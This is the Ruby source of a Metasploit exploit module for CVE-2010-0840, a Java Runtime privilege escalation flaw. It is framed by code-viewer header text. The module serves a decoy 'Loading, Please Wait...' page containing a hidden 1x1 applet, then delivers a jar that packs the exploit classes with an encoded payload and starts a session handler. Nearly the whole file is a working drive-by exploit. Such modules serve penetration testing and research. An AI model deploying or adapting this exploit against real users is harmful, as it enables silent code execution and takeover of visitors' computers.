Spencer McIntyre
120 lines
3.4 KiB
Ruby
120 lines
3.4 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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# Superceded by java_atomicreferencearray
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# include Msf::Exploit::Remote::BrowserAutopwn
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# autopwn_info({ :javascript => false })
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Java Statement.invoke() Trusted Method Chain Privilege Escalation',
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'Description' => %q{
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This module exploits a vulnerability in Java Runtime Environment
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that allows an untrusted method to run in a privileged context. The
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vulnerability affects version 6 prior to update 19 and version 5
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prior to update 23.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Sami Koivu', # Discovery
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'Matthias Kaiser', # PoC
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'egypt' # metasploit module
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],
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'References' => [
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[ 'CVE', '2010-0840' ],
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[ 'OSVDB', '63483' ],
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[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-trusted-method-chaining-cve-2010.html' ],
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],
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'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
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'Targets' => [
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[
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'Generic (Java Payload)',
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{
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'Arch' => ARCH_JAVA
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}
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],
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[
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'Windows Universal',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'win'
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}
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],
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[
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'Linux x86',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'linux'
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => '2010-03-31',
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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end
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def on_request_uri(cli, request)
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if !request.uri.match(/\.jar$/i)
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if !request.uri.match(%r{/$})
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send_redirect(cli, get_resource + '/', '')
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return
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end
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print_status("#{name} handling request")
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send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
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return
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end
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paths = [
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[ 'vuln', 'Exploit.class' ],
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[ 'vuln', 'Exploit$1.class' ],
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[ 'vuln', 'Link.class' ],
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]
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p = regenerate_payload(cli)
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jar = p.encoded_jar
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paths.each do |path|
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1.upto(path.length - 1) do |idx|
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full = path[0, idx].join('/') + '/'
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if !(jar.entries.map { |e| e.name }.include?(full))
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jar.add_file(full, '')
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end
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end
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fd = File.open(File.join(Msf::Config.data_directory, 'exploits', 'cve-2010-0840', path), 'rb')
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data = fd.read(fd.stat.size)
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jar.add_file(path.join('/'), data)
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fd.close
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end
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print_status('Sending Applet.jar')
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send_response(cli, jar.pack, { 'Content-Type' => 'application/octet-stream' })
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handler(cli)
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end
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def generate_html
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html = '<html><head><title>Loading, Please Wait...</title></head>'
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html += '<body><center><p>Loading, Please Wait...</p></center>'
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html += '<applet archive="Exploit.jar" code="vuln.Exploit.class" width="1" height="1">'
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html += '</applet></body></html>'
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return html
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end
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end
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